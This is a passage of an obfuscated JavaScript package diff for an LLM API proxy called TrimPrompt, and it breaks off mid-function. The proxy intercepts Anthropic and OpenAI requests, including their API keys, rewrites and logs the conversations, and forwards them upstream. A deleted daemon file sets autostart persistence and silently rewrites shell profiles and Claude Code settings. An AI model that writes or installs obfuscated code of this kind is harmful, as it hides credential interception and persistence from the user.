_0x3b8462=['entries','Bad\x20request','__setModuleDefault','max_completion_tokens','EADDRINUSE','writable','content','4775905QwAynA','length','1657691DGINxB','https://api.openai.com','application/json','code','messages','\x20\x20ANTHROPIC_BASE_URL=http://127.0.0.1:','toLowerCase','https','prototype','27171837YPGRbN','utf8','join','headersSent','api.anthropic.com','1823180GvfkdL','\x20\x20-\x20Response\x20optimization:\x20\x20\x20\x20','message','error','writableEnded','getConfig','/messages','log','statusCode','getOwnPropertyDescriptor','518658GaKdVC','tracker','unknown','writeHead','method','create','isArray','block','text','conv_compress','startApiProxy','[TrimPrompt]\x20Proxy\x20failed\x20to\x20start:\x20','URL','data','port','stringify','toUpperCase','timeout','exit','8qoPZey','[TrimPrompt]\x20Features:','proxy_error','concat','call','Upstream\x20timeout','write','from','startsWith','push','POST','listen','end','logExecution','153898iWgSDq','url','headers','GET','default','anthropic-version','__createBinding','__esModule','authorization','Bad\x20target\x20URL','createServer','listening','search','request','savedTokens','openai','/responses','map','proxy:conv-compress','/v1/responses','\x20\x20OPENAI_BASE_URL=http://127.0.0.1:','string','https://api.anthropic.com','./proxy-conv','content-length','request_error','127.0.0.1','max_tokens','7KQwAAP','\x20(Anthropic\x20+\x20OpenAI)','/v1/chat/completions','includes','OFF','proxy:resp-optimize','anthropic','api.openai.com','destroy','resp_optimize','/v1\x0a','invalid_url','type','optimizeMaxTokens','x-api-key','host','./tracker','defineProperty','configurable','unset','/v1/messages','[TrimPrompt]\x20Set\x20in\x20your\x20environment:\x0a','1827462gkiuZG'];a0_0x4fe7=function(){return _0x3b8462;};return a0_0x4fe7();}function isChatEndpoint(_0x4a5a67,_0x36573e){const _0x3c3269=a0_0x4b361d;if(_0x4a5a67!==_0x3c3269(0x1c3)||!_0x36573e)return![];return _0x36573e[_0x3c3269(0x1c1)](_0x3c3269(0x1f7))||_0x36573e[_0x3c3269(0x1c1)](_0x3c3269(0x1e5))||_0x36573e[_0x3c3269(0x1c1)](_0x3c3269(0x1da));}function serializeMessages(_0x5a26eb){const _0x57f654=a0_0x4b361d;try{return _0x5a26eb[_0x57f654(0x1d8)](_0x2d5b48=>{const _0x238d66=_0x57f654,_0x6d2bd2=typeof _0x2d5b48[_0x238d66(0x200)]===_0x238d66(0x1dc)?_0x2d5b48[_0x238d66(0x200)]:Array[_0x238d66(0x221)](_0x2d5b48['content'])?_0x2d5b48[_0x238d66(0x200)][_0x238d66(0x1d8)](_0x42b603=>_0x42b603&&_0x42b603[_0x238d66(0x1ef)]===_0x238d66(0x223)?_0x42b603[_0x238d66(0x223)]||'':'['+(_0x42b603&&_0x42b603[_0x238d66(0x1ef)]?_0x42b603[_0x238d66(0x1ef)]:_0x238d66(0x222))+']')[_0x238d66(0x20e)]('\x0a'):'';return String(_0x2d5b48['role']||_0x238d66(0x21d))[_0x238d66(0x1b6)]()+':\x20'+_0x6d2bd2;})[_0x57f654(0x20e)]('\x0a\x0a');}catch{return'';}}function isFeatureEnabled(_0x40a199){const _0x4ac0a4=a0_0x4b361d;try{const _0x9a0b5d=tracker_1[_0x4ac0a4(0x21c)][_0x4ac0a4(0x216)](),_0x81411b=_0x9a0b5d['features_enabled'];if(!_0x81411b||_0x81411b[_0x40a199]===undefined)return!![];return _0x81411b[_0x40a199]!==![];}catch{return!![];}}function streamForward(_0x389325,_0x521e20,_0x779334,_0x3d6612){const _0x1a9ba7=a0_0x4b361d;let _0x43c2da;try{_0x43c2da=new url_1[(_0x1a9ba7(0x227))](_0x521e20);}catch{return!_0x3d6612['headersSent']&&(_0x3d6612[_0x1a9ba7(0x21e)](0x190,{'Content-Type':'application/json'}),_0x3d6612['end'](JSON[_0x1a9ba7(0x1b5)]({'error':{'type':_0x1a9ba7(0x1ee),'message':_0x1a9ba7(0x1d0)}}))),null;}const _0x3ebcaa={'hostname':_0x43c2da['hostname'],'port':_0x43c2da[_0x1a9ba7(0x1b4)]||0x1bb,'path':_0x43c2da['pathname']+_0x43c2da[_0x1a9ba7(0x1d3)],'method':_0x389325,'headers':_0x779334,'timeout':0x1d4c0},_0x24a302=https[_0x1a9ba7(0x1d4)](_0x3ebcaa,_0x1ecf04=>{const _0x32640c=_0x1a9ba7;try{_0x3d6612[_0x32640c(0x21e)](_0x1ecf04[_0x32640c(0x219)]||0x1f6,_0x1ecf04[_0x32640c(0x1c9)]),_0x1ecf04['pipe'](_0x3d6612);}catch{try{_0x3d6612[_0x32640c(0x1c5)]();}catch{}}});return _0x24a302['on']('error',_0xd57824=>{const _0x38ef1b=_0x1a9ba7;if(!_0x3d6612[_0x38ef1b(0x20f)])_0x3d6612['writeHead'](0x1f6,{'Content-Type':_0x38ef1b(0x205)}),_0x3d6612[_0x38ef1b(0x1c5)](JSON[_0x38ef1b(0x1b5)]({'error':{'type':_0x38ef1b(0x1bb),'message':_0xd57824[_0x38ef1b(0x213)]}}));else try{_0x3d6612['end']();}catch{}}),_0x24a302['on']('timeout',()=>{const _0x271869=_0x1a9ba7;_0x24a302[_0x271869(0x1eb)](),!_0x3d6612['headersSent']&&(_0x3d6612['writeHead'](0x1f8,{'Content-Type':_0x271869(0x205)}),_0x3d6612[_0x271869(0x1c5)](JSON[_0x271869(0x1b5)]({'error':{'type':_0x271869(0x1b7),'message':_0x271869(0x1be)}})));}),_0x24a302;}function forwardRequest(_0x44f863,_0x3904e5,_0x2d2404,_0x31c7ff,_0x56865b){const _0x101b64=a0_0x4b361d,_0x39b5e1=streamForward(_0x44f863,_0x3904e5,_0x2d2404,_0x56865b);if(!_0x39b5e1)return;_0x39b5e1['write'](_0x31c7ff),_0x39b5e1[_0x101b64(0x1c5)]();}function processChatRequest(_0x4e363f,_0x49141c,_0x3b8d72,_0x49e240,_0x2ee7c9,_0x5d6b86){const _0x2294d3=a0_0x4b361d,_0x2ce9bc=_0x2ee7c9;try{const _0x241ad5=JSON['parse'](_0x2ee7c9['toString']('utf8'));if(Array[_0x2294d3(0x221)](_0x241ad5[_0x2294d3(0x207)])&&_0x241ad5[_0x2294d3(0x207)][_0x2294d3(0x202)]>0x0){if(isFeatureEnabled(_0x2294d3(0x224)))try{const _0x560bb3=serializeMessages(_0x241ad5['messages']),_0x2c19b1=(0x0,proxy_conv_1['compressConversation'])(_0x241ad5[_0x2294d3(0x207)]);if(_0x2c19b1[_0x2294d3(0x1d5)]>0x0){const _0x5d08f1=serializeMessages(_0x2c19b1[_0x2294d3(0x207)]);_0x241ad5['messages']=_0x2c19b1[_0x2294d3(0x207)];try{tracker_1[_0x2294d3(0x21c)][_0x2294d3(0x1c6)](_0x2294d3(0x1d9),_0x560bb3,_0x5d08f1,0x0,undefined,[_0x2294d3(0x224),_0x4e363f]);}catch{}}}catch{}if(isFeatureEnabled(_0x2294d3(0x1ec)))try{const _0x5b3413=_0x241ad5[_0x2294d3(0x1fd)]!==undefined?'max_completion_tokens':'max_tokens',_0x3a8c45=(0x0,proxy_resp_1[_0x2294d3(0x1f0)])(_0x241ad5[_0x2294d3(0x207)],_0x241ad5[_0x5b3413]);if(_0x3a8c45){const _0x35efe9=_0x241ad5[_0x5b3413];_0x241ad5[_0x5b3413]=_0x3a8c45[_0x2294d3(0x1e2)];try{tracker_1['tracker'][_0x2294d3(0x1c6)](_0x2294d3(0x1e8),_0x5b3413+':'+(_0x35efe9||_0x2294d3(0x1f6)),_0x5b3413+':'+_0x3a8c45[_0x2294d3(0x1e2)],0x0,undefined,[_0x2294d3(0x1ec),_0x4e363f]);}catch{}}}catch{}try{const _0x56220b=Buffer[_0x2294d3(0x1c0)](JSON[_0x2294d3(0x1b5)](_0x241ad5),_0x2294d3(0x20d));_0x49e240[_0x2294d3(0x1df)]=String(_0x56220b[_0x2294d3(0x202)]),forwardRequest(_0x49141c,_0x3b8d72,_0x49e240,_0x56220b,_0x5d6b86);return;}catch{}}}catch{}forwardRequest(_0x49141c,_0x3b8d72,_0x49e240,_0x2ce9bc,_0x5d6b86);}function startApiProxy(_0x3a4ed8=0x1f90){let _0x11d6ce=0x0;function _0x50ef1e(_0x10699d){const _0x47d917=a0_0x1d3f,_0x436614=http[_0x47d917(0x1d1)]((_0x271a23,_0x4ea8d5)=>{const _0x37677b=_0x47d917,_0x56d27c=detectProvider(_0x271a23[_0x37677b(0x1c8)]||'',_0x271a23['headers']),_0x14a399=upstreamFor(_0x56d27c),_0xd350ae=''+_0x14a399['base']+_0x271a23[_0x37677b(0x1c8)],_0x1a41a1=()=>{const _0x474820=_0x37677b,_0x121561={};for(const [_0x12ba01,_0x1b1194]of Object[_0x474820(0x1fa)](_0x271a23[_0x474820(0x1c9)])){if(_0x12ba01[_0x474820(0x209)]()==='host')_0x121561[_0x12ba01]=_0x14a399[_0x474820(0x1f2)];else{if(typeof _0x1b1194===_0x474820(0x1dc))_0x121561[_0x12ba01]=_0x1b1194;}}return _0x121561;};let _0x2ee611=0x0;const _0x4099c1=[];let _0x27b77c=![],_0x2089be=null;_0x271a23['on'](_0x37677b(0x1b3),_0x518a5d=>{const _0x31d5ca=_0x37677b;if(_0x27b77c){if(_0x2089be)try{_0x2089be[_0x31d5ca(0x1bf)](_0x518a5d);}catch{}return;}_0x2ee611+=_0x518a5d[_0x31d5ca(0x202)],_0x4099c1[_0x31d5ca(0x1c2)](_0x518a5d);if(_0x2ee611>COMPRESS_MAX_BYTES){_0x27b77c=!![],_0x2089be=streamForward(_0x271a23[_0x31d5ca(0x21f)]||_0x31d5ca(0x1c3),_0xd350ae,_0x1a41a1(),_0x4ea8d5);if(_0x2089be)for(const _0x10c47e of _0x4099c1){try{_0x2089be['write'](_0x10c47e);}catch{}}_0x4099c1['length']=0x0;}}),_0x271a23['on'](_0x37677b(0x1c5),()=>{const _0xbb2b11=_0x37677b;if(_0x27b77c){if(_0x2089be)try{_0x2089be[_0xbb2b11(0x1c5)]();}catch{}return;}if(_0x4ea8d5[_0xbb2b11(0x215)])return;const _0x36d9c0=Buffer[_0xbb2b11(0x1bc)](_0x4099c1),_0x451bfb=_0x1a41a1();isChatEndpoint(_0x271a23['method'],_0x271a23[_0xbb2b11(0x1c8)])?processChatRequest(_0x56d27c,_0x271a23[_0xbb2b11(0x21f)],_0xd350ae,_0x451bfb,_0x36d9c0,_0x4ea8d5):forwardRequest(_0x271a23[_0xbb2b11(0x21f)]||_0xbb2b11(0x1ca),_0xd350ae,_0x451bfb,_0x36d9c0,_0x4ea8d5);}),_0x271a23['on'](_0x37677b(0x214),()=>{const _0x4fff9d=_0x37677b;!_0x4ea8d5[_0x4fff9d(0x20f)]&&(_0x4ea8d5['writeHead'](0x190,{'Content-Type':_0x4fff9d(0x205)}),_0x4ea8d5[_0x4fff9d(0x1c5)](JSON[_0x4fff9d(0x1b5)]({'error':{'type':_0x4fff9d(0x1e0),'message':_0x4fff9d(0x1fb)}})));});});_0x436614['on'](_0x47d917(0x1d2),()=>{const _0x59a7aa=_0x47d917;console[_0x59a7aa(0x218)]('\x0a[TrimPrompt]\x20API\x20proxy\x20running\x20on\x20http://127.0.0.1:'+_0x10699d+_0x59a7aa(0x1e4)),console['log'](_0x59a7aa(0x1f8)),console[_0x59a7aa(0x218)](_0x59a7aa(0x208)+_0x10699d),console[_0x59a7aa(0x218)](_0x59a7aa(0x1db)+_0x10699d+_0x59a7aa(0x1ed)),console[_0x59a7aa(0x218)](_0x59a7aa(0x1ba)),console[_0x59a7aa(0x218)]('\x20\x20-\x20Conversation\x20compression:\x20'+(isFeatureEnabled(_0x59a7aa(0x224))?'ON':_0x59a7aa(0x1e7))),console['log'](_0x59a7aa(0x212)+(isFeatureEnabled(_0x59a7aa(0x1ec))?'ON':_0x59a7aa(0x1e7))),console['log']('\x0aPress\x20Ctrl+C\x20to\x20stop.\x0a');}),_0x436614['on']('error',_0x379810=>{const _0x44b0e2=_0x47d917;_0x379810[_0x44b0e2(0x206)]===_0x44b0e2(0x1fe)&&_0x11d6ce<MAX_PORT_RETRIES?(_0x11d6ce++,_0x50ef1e(_0x10699d+0x1)):(console[_0x44b0e2(0x214)](_0x44b0e2(0x226)+_0x379810[_0x44b0e2(0x213)]),process[_0x44b0e2(0x1b8)](0x1));}),_0x436614[_0x47d917(0x1c4)](_0x10699d,_0x47d917(0x1e1));}_0x50ef1e(_0x3a4ed8);}
package/proxy-daemon.js DELETED
@@ -1 +0,0 @@
1
- 'use strict';const a0_0x529c8f=a0_0xa31c;(function(_0x467cf5,_0x5c6c63){const _0x139654=a0_0xa31c,_0x1b148a=_0x467cf5();while(!![]){try{const _0x176748=parseInt(_0x139654(0xb3))/0x1+parseInt(_0x139654(0x10d))/0x2*(-parseInt(_0x139654(0xc7))/0x3)+parseInt(_0x139654(0xcf))/0x4*(parseInt(_0x139654(0x8d))/0x5)+parseInt(_0x139654(0x112))/0x6+parseInt(_0x139654(0x115))/0x7+-parseInt(_0x139654(0x10b))/0x8+-parseInt(_0x139654(0xb4))/0x9;if(_0x176748===_0x5c6c63)break;else _0x1b148a['push'](_0x1b148a['shift']());}catch(_0x595225){_0x1b148a['push'](_0x1b148a['shift']());}}}(a0_0x163f,0xc2d12));var __createBinding=this&&this[a0_0x529c8f(0xd8)]||(Object[a0_0x529c8f(0xd5)]?function(_0x2b52ec,_0x1a6283,_0x193fd7,_0x3ef1a3){const _0xa23869=a0_0x529c8f;if(_0x3ef1a3===undefined)_0x3ef1a3=_0x193fd7;var _0x20f5ec=Object[_0xa23869(0xb2)](_0x1a6283,_0x193fd7);(!_0x20f5ec||(_0xa23869(0xd4)in _0x20f5ec?!_0x1a6283[_0xa23869(0x10c)]:_0x20f5ec[_0xa23869(0xbe)]||_0x20f5ec['configurable']))&&(_0x20f5ec={'enumerable':!![],'get':function(){return _0x1a6283[_0x193fd7];}}),Object[_0xa23869(0xda)](_0x2b52ec,_0x3ef1a3,_0x20f5ec);}:function(_0x3abd50,_0x2e261c,_0xe882bc,_0x1a750d){if(_0x1a750d===undefined)_0x1a750d=_0xe882bc;_0x3abd50[_0x1a750d]=_0x2e261c[_0xe882bc];}),__setModuleDefault=this&&this[a0_0x529c8f(0xa3)]||(Object[a0_0x529c8f(0xd5)]?function(_0x33cd45,_0x59a7fd){Object['defineProperty'](_0x33cd45,'default',{'enumerable':!![],'value':_0x59a7fd});}:function(_0x23ac4f,_0x3c80d1){_0x23ac4f['default']=_0x3c80d1;}),__importStar=this&&this[a0_0x529c8f(0x8a)]||(function(){var _0x46ce09=function(_0x3575e3){const _0x13e522=a0_0xa31c;return _0x46ce09=Object[_0x13e522(0x91)]||function(_0x53ba8b){const _0x1d76cd=_0x13e522;var _0x373e8f=[];for(var _0x5acb2a in _0x53ba8b)if(Object[_0x1d76cd(0xbc)][_0x1d76cd(0x106)][_0x1d76cd(0xbd)](_0x53ba8b,_0x5acb2a))_0x373e8f[_0x373e8f[_0x1d76cd(0xe9)]]=_0x5acb2a;return _0x373e8f;},_0x46ce09(_0x3575e3);};return function(_0x3b8708){const _0x349387=a0_0xa31c;if(_0x3b8708&&_0x3b8708['__esModule'])return _0x3b8708;var _0x4dc128={};if(_0x3b8708!=null){for(var _0x31eff4=_0x46ce09(_0x3b8708),_0x49f6d8=0x0;_0x49f6d8<_0x31eff4['length'];_0x49f6d8++)if(_0x31eff4[_0x49f6d8]!==_0x349387(0xbf))__createBinding(_0x4dc128,_0x3b8708,_0x31eff4[_0x49f6d8]);}return __setModuleDefault(_0x4dc128,_0x3b8708),_0x4dc128;};}());Object[a0_0x529c8f(0xda)](exports,'__esModule',{'value':!![]}),exports['getProxyPort']=getProxyPort,exports[a0_0x529c8f(0x10e)]=isProxyRunning,exports[a0_0x529c8f(0x97)]=startProxyDaemon,exports[a0_0x529c8f(0x9a)]=stopProxyDaemon,exports['enableAutostart']=enableAutostart,exports[a0_0x529c8f(0xb9)]=disableAutostart,exports[a0_0x529c8f(0x9c)]=setAnthropicBaseUrl,exports['removeAnthropicBaseUrl']=removeAnthropicBaseUrl;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x529c8f(0xdb))),os=__importStar(require('os')),child_process_1=require(a0_0x529c8f(0xf9)),baseDir=path[a0_0x529c8f(0x98)](os[a0_0x529c8f(0xa8)](),a0_0x529c8f(0x109)),pidFile=path[a0_0x529c8f(0x98)](baseDir,a0_0x529c8f(0xab)),portFile=path['join'](baseDir,'proxy.port'),DEFAULT_PORT=0x1f90;function ensureDir(){const _0x45217a=a0_0x529c8f;if(!fs['existsSync'](baseDir))fs[_0x45217a(0xd0)](baseDir,{'recursive':!![]});}function getProxyPort(){const _0xe354=a0_0x529c8f;try{if(fs[_0xe354(0xaf)](portFile))return parseInt(fs[_0xe354(0xfe)](portFile,_0xe354(0xf7))[_0xe354(0x114)]())||DEFAULT_PORT;}catch{}return DEFAULT_PORT;}function a0_0xa31c(_0x338a2c,_0x1e949b){const _0x163fe2=a0_0x163f();return a0_0xa31c=function(_0xa31c92,_0x5c721b){_0xa31c92=_0xa31c92-0x89;let _0x5f3b53=_0x163fe2[_0xa31c92];return _0x5f3b53;},a0_0xa31c(_0x338a2c,_0x1e949b);}function isProxyRunning(){const _0x185240=a0_0x529c8f,_0x16d7e3=getProxyPort();try{if(!fs[_0x185240(0xaf)](pidFile))return{'running':![],'pid':null,'port':_0x16d7e3};const _0x3e325c=parseInt(fs[_0x185240(0xfe)](pidFile,_0x185240(0xf7))[_0x185240(0x114)]());if(!_0x3e325c)return{'running':![],'pid':null,'port':_0x16d7e3};if(process[_0x185240(0xef)]===_0x185240(0x102)){const _0x85854=(0x0,child_process_1[_0x185240(0xa0)])(_0x185240(0xd1)+_0x3e325c+_0x185240(0xa4),{'encoding':_0x185240(0xf7),'timeout':0x1388}),_0x4afcd8='\x22'+_0x3e325c+'\x22';if(_0x85854[_0x185240(0xc3)]('\x0a')['some'](_0x48850c=>_0x48850c[_0x185240(0xc6)](_0x4afcd8)))return{'running':!![],'pid':_0x3e325c,'port':_0x16d7e3};}else return process[_0x185240(0x9b)](_0x3e325c,0x0),{'running':!![],'pid':_0x3e325c,'port':_0x16d7e3};}catch{}try{fs[_0x185240(0xa1)](pidFile);}catch{}return{'running':![],'pid':null,'port':_0x16d7e3};}function startProxyDaemon(_0x8efe26){const _0x24a329=a0_0x529c8f,_0x29b59d=isProxyRunning();if(_0x29b59d[_0x24a329(0x108)])return{'success':!![],'pid':_0x29b59d['pid'],'port':_0x29b59d[_0x24a329(0x110)],'message':_0x24a329(0xf3)+_0x29b59d[_0x24a329(0xf1)]+_0x24a329(0x94)+_0x29b59d['port']};ensureDir();const _0x32a5db=_0x8efe26||DEFAULT_PORT;try{const _0x6b2b16=path[_0x24a329(0x98)](__dirname,_0x24a329(0xe0));if(!fs['existsSync'](_0x6b2b16))return{'success':![],'pid':null,'port':_0x32a5db,'message':_0x24a329(0xcc)+_0x6b2b16};const _0x3f709f=(0x0,child_process_1[_0x24a329(0xd9)])(process[_0x24a329(0xf4)],[_0x6b2b16,_0x24a329(0xa5),_0x24a329(0xc2),String(_0x32a5db)],{'detached':!![],'stdio':_0x24a329(0xb8),'env':{...process[_0x24a329(0x113)],'TRIMPROMPT_DISABLED':'1'}});_0x3f709f[_0x24a329(0xf0)]();if(_0x3f709f[_0x24a329(0xf1)])return fs[_0x24a329(0xfd)](pidFile,String(_0x3f709f['pid']),_0x24a329(0xf7)),fs[_0x24a329(0xfd)](portFile,String(_0x32a5db),_0x24a329(0xf7)),{'success':!![],'pid':_0x3f709f[_0x24a329(0xf1)],'port':_0x32a5db,'message':_0x24a329(0xbb)+_0x3f709f[_0x24a329(0xf1)]+_0x24a329(0x94)+_0x32a5db};return{'success':![],'pid':null,'port':_0x32a5db,'message':'Spawn\x20returned\x20no\x20PID'};}catch(_0x2d4878){return{'success':![],'pid':null,'port':_0x32a5db,'message':'Failed\x20to\x20start\x20proxy:\x20'+_0x2d4878[_0x24a329(0x8e)]};}}function stopProxyDaemon(){const _0x1b155d=a0_0x529c8f,_0xe54f90=isProxyRunning();if(!_0xe54f90['running']||!_0xe54f90['pid'])return{'success':!![],'message':_0x1b155d(0xfb)};try{process[_0x1b155d(0xef)]===_0x1b155d(0x102)?(0x0,child_process_1['execSync'])(_0x1b155d(0xce)+_0xe54f90[_0x1b155d(0xf1)]+'\x20/F',{'timeout':0x1388}):process[_0x1b155d(0x9b)](_0xe54f90[_0x1b155d(0xf1)],_0x1b155d(0x9d));}catch{}try{fs['unlinkSync'](pidFile);}catch{}return{'success':!![],'message':_0x1b155d(0xf6)+_0xe54f90[_0x1b155d(0xf1)]+')'};}function setClaudeCodeSettings(_0x497432){const _0x4d7668=a0_0x529c8f,_0x376413=path[_0x4d7668(0x98)](os['homedir'](),_0x4d7668(0xd7)),_0x1a45db=path[_0x4d7668(0x98)](_0x376413,_0x4d7668(0xb1));try{if(!fs[_0x4d7668(0xaf)](_0x376413))fs['mkdirSync'](_0x376413,{'recursive':!![]});let _0x5b3959={};if(fs[_0x4d7668(0xaf)](_0x1a45db))try{_0x5b3959=JSON[_0x4d7668(0xe5)](fs[_0x4d7668(0xfe)](_0x1a45db,_0x4d7668(0xf7)));}catch{}if(!_0x5b3959['env'])_0x5b3959['env']={};_0x5b3959[_0x4d7668(0x113)][_0x4d7668(0x8b)]=_0x497432,fs[_0x4d7668(0xfd)](_0x1a45db,JSON[_0x4d7668(0x105)](_0x5b3959,null,0x2),_0x4d7668(0xf7));}catch{}}function removeClaudeCodeSettings(){const _0x14c50c=a0_0x529c8f,_0x1b5ae0=path[_0x14c50c(0x98)](os['homedir'](),_0x14c50c(0xd7),_0x14c50c(0xb1));try{if(fs['existsSync'](_0x1b5ae0)){const _0x3d7abd=JSON[_0x14c50c(0xe5)](fs['readFileSync'](_0x1b5ae0,_0x14c50c(0xf7)));if(_0x3d7abd[_0x14c50c(0x113)]&&_0x3d7abd['env'][_0x14c50c(0x8b)]){delete _0x3d7abd[_0x14c50c(0x113)][_0x14c50c(0x8b)];if(Object[_0x14c50c(0xa7)](_0x3d7abd[_0x14c50c(0x113)])['length']===0x0)delete _0x3d7abd['env'];fs[_0x14c50c(0xfd)](_0x1b5ae0,JSON[_0x14c50c(0x105)](_0x3d7abd,null,0x2),'utf8');}}}catch{}}const RUN_KEY=a0_0x529c8f(0xe2),RUN_VALUE_NAME=a0_0x529c8f(0xca),vbsLauncher=path[a0_0x529c8f(0x98)](baseDir,'proxy-autostart.vbs');function enableAutostart(){const _0x5ad5b9=a0_0x529c8f;ensureDir();const _0x68e717=path[_0x5ad5b9(0x98)](__dirname,_0x5ad5b9(0xe0));if(process[_0x5ad5b9(0xef)]===_0x5ad5b9(0x102)){try{const _0x236748=_0x5ad5b9(0x10a)+_0x5ad5b9(0x111)+process[_0x5ad5b9(0xf4)][_0x5ad5b9(0xa6)](/"/g,'\x22\x22')+_0x5ad5b9(0x8f)+_0x68e717[_0x5ad5b9(0xa6)](/"/g,'\x22\x22')+_0x5ad5b9(0xc9)+_0x5ad5b9(0xf8);fs[_0x5ad5b9(0xfd)](vbsLauncher,_0x236748,_0x5ad5b9(0xf7));const _0xf8ea80=_0x5ad5b9(0xb5)+vbsLauncher+'\x22',_0x21df00=_0x5ad5b9(0xe7)+RUN_KEY+'\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27'+RUN_KEY+_0x5ad5b9(0x92)+RUN_VALUE_NAME+_0x5ad5b9(0xb0)+_0xf8ea80[_0x5ad5b9(0xa6)](/'/g,'\x27\x27')+'\x27';(0x0,child_process_1[_0x5ad5b9(0xa0)])(_0x5ad5b9(0xc4)+_0x21df00['replace'](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x5ad5b9(0xb8),'timeout':0x1f40});}catch{}return;}if(process[_0x5ad5b9(0xef)]===_0x5ad5b9(0xdd)){try{const _0x2f4e8e=path[_0x5ad5b9(0x98)](os[_0x5ad5b9(0xa8)](),_0x5ad5b9(0xed),_0x5ad5b9(0xc1));if(!fs[_0x5ad5b9(0xaf)](_0x2f4e8e))fs[_0x5ad5b9(0xd0)](_0x2f4e8e,{'recursive':!![]});const _0x23d990=path[_0x5ad5b9(0x98)](_0x2f4e8e,_0x5ad5b9(0x9f)),_0x10bd39='<?xml\x20version=\x221.0\x22\x20encoding=\x22UTF-8\x22?>\x0a'+_0x5ad5b9(0xec)+_0x5ad5b9(0xcd)+'\x20\x20<key>Label</key><string>ai.trimprompt.proxy</string>\x0a'+_0x5ad5b9(0xf2)+(_0x5ad5b9(0x89)+process['execPath']+_0x5ad5b9(0x96)+_0x68e717+'</string><string>proxy</string><string>start</string>')+_0x5ad5b9(0x103)+_0x5ad5b9(0xfa)+_0x5ad5b9(0xfc)+_0x5ad5b9(0xaa);fs[_0x5ad5b9(0xfd)](_0x23d990,_0x10bd39,_0x5ad5b9(0xf7));try{(0x0,child_process_1[_0x5ad5b9(0xa0)])(_0x5ad5b9(0xdf)+_0x23d990+'\x22',{'stdio':_0x5ad5b9(0xb8),'timeout':0x1388});}catch{}(0x0,child_process_1[_0x5ad5b9(0xa0)])(_0x5ad5b9(0xc8)+_0x23d990+'\x22',{'stdio':_0x5ad5b9(0xb8),'timeout':0x1388});}catch{}return;}try{const _0x87dfd9=path[_0x5ad5b9(0x98)](os['homedir'](),_0x5ad5b9(0xb6),'autostart');if(!fs[_0x5ad5b9(0xaf)](_0x87dfd9))fs['mkdirSync'](_0x87dfd9,{'recursive':!![]});const _0x463ae7=path[_0x5ad5b9(0x98)](_0x87dfd9,_0x5ad5b9(0xac)),_0x1941cf=_0x5ad5b9(0x95)+_0x5ad5b9(0x99)+'Name=TrimPrompt\x20Proxy\x0a'+('Exec='+process[_0x5ad5b9(0xf4)]+'\x20'+_0x68e717+_0x5ad5b9(0x8c))+_0x5ad5b9(0xad)+_0x5ad5b9(0xa2);fs[_0x5ad5b9(0xfd)](_0x463ae7,_0x1941cf,'utf8');}catch{}}function disableAutostart(){const _0x5c4815=a0_0x529c8f;if(process[_0x5c4815(0xef)]===_0x5c4815(0x102)){try{const _0x2452f8=_0x5c4815(0x90)+RUN_KEY+_0x5c4815(0x92)+RUN_VALUE_NAME+_0x5c4815(0xe8);(0x0,child_process_1[_0x5c4815(0xa0)])(_0x5c4815(0xc4)+_0x2452f8[_0x5c4815(0xa6)](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x5c4815(0xb8),'timeout':0x1f40});}catch{}try{if(fs['existsSync'](vbsLauncher))fs[_0x5c4815(0xa1)](vbsLauncher);}catch{}return;}if(process[_0x5c4815(0xef)]==='darwin'){try{const _0x51a9d9=path[_0x5c4815(0x98)](os['homedir'](),_0x5c4815(0xed),_0x5c4815(0xc1),_0x5c4815(0x9f));try{(0x0,child_process_1[_0x5c4815(0xa0)])(_0x5c4815(0xdf)+_0x51a9d9+'\x22',{'stdio':_0x5c4815(0xb8),'timeout':0x1388});}catch{}if(fs[_0x5c4815(0xaf)](_0x51a9d9))fs[_0x5c4815(0xa1)](_0x51a9d9);}catch{}return;}try{const _0x566e=path['join'](os['homedir'](),_0x5c4815(0xb6),_0x5c4815(0xff),'trimprompt-proxy.desktop');if(fs[_0x5c4815(0xaf)](_0x566e))fs[_0x5c4815(0xa1)](_0x566e);}catch{}}function setAnthropicBaseUrl(_0x3e6665){const _0x4e72b1=a0_0x529c8f,_0x31f706=_0x4e72b1(0xde)+_0x3e6665,_0x1c27d2=_0x4e72b1(0xde)+_0x3e6665+_0x4e72b1(0xd6);setClaudeCodeSettings(_0x31f706);if(process[_0x4e72b1(0xef)]===_0x4e72b1(0x102))try{(0x0,child_process_1[_0x4e72b1(0xa0)])(_0x4e72b1(0xd3)+_0x31f706+'\x22',{'timeout':0x1388}),(0x0,child_process_1[_0x4e72b1(0xa0)])(_0x4e72b1(0xba)+_0x1c27d2+'\x22',{'timeout':0x1388}),(0x0,child_process_1[_0x4e72b1(0xa0)])(_0x4e72b1(0x107)+_0x1c27d2+'\x22',{'timeout':0x1388}),(0x0,child_process_1[_0x4e72b1(0xa0)])(_0x4e72b1(0xcb)+_0x1c27d2+'\x22',{'timeout':0x1388});}catch{}const _0x17c412=os['homedir'](),_0x4dd79e='#\x20TrimPrompt\x20API\x20Proxy',_0x10c94d=_0x4e72b1(0xe3)+_0x31f706+'\x22\x20'+_0x4dd79e,_0x3b2fad=_0x4e72b1(0xe4)+_0x1c27d2+'\x22\x20'+_0x4dd79e,_0x23e4a0='export\x20GEMINI_BASE_URL=\x22'+_0x1c27d2+'\x22\x20'+_0x4dd79e,_0x5177c2=_0x4e72b1(0x9e)+_0x1c27d2+'\x22\x20'+_0x4dd79e,_0x3a5fa7=[path[_0x4e72b1(0x98)](_0x17c412,_0x4e72b1(0xee)),path[_0x4e72b1(0x98)](_0x17c412,_0x4e72b1(0x104)),path[_0x4e72b1(0x98)](_0x17c412,_0x4e72b1(0xc0))];for(const _0xe5bfbd of _0x3a5fa7){try{if(fs['existsSync'](_0xe5bfbd)){let _0x26ccb5=fs['readFileSync'](_0xe5bfbd,'utf8');_0x26ccb5[_0x4e72b1(0xc6)](_0x4dd79e)&&(_0x26ccb5=_0x26ccb5[_0x4e72b1(0xa6)](new RegExp('.*'+_0x4dd79e[_0x4e72b1(0xa6)](/[.*+?^${}()|[\]\\]/g,'\x5c$&')+_0x4e72b1(0xdc),'g'),'')),_0x26ccb5=_0x26ccb5[_0x4e72b1(0x93)]()+'\x0a'+_0x10c94d+'\x0a'+_0x3b2fad+'\x0a'+_0x23e4a0+'\x0a'+_0x5177c2+'\x0a',fs[_0x4e72b1(0xfd)](_0xe5bfbd,_0x26ccb5,_0x4e72b1(0xf7));}}catch{}}try{const _0x40ddc1=[];for(const _0x597220 of[_0x4e72b1(0xae),_0x4e72b1(0xa9)]){try{const 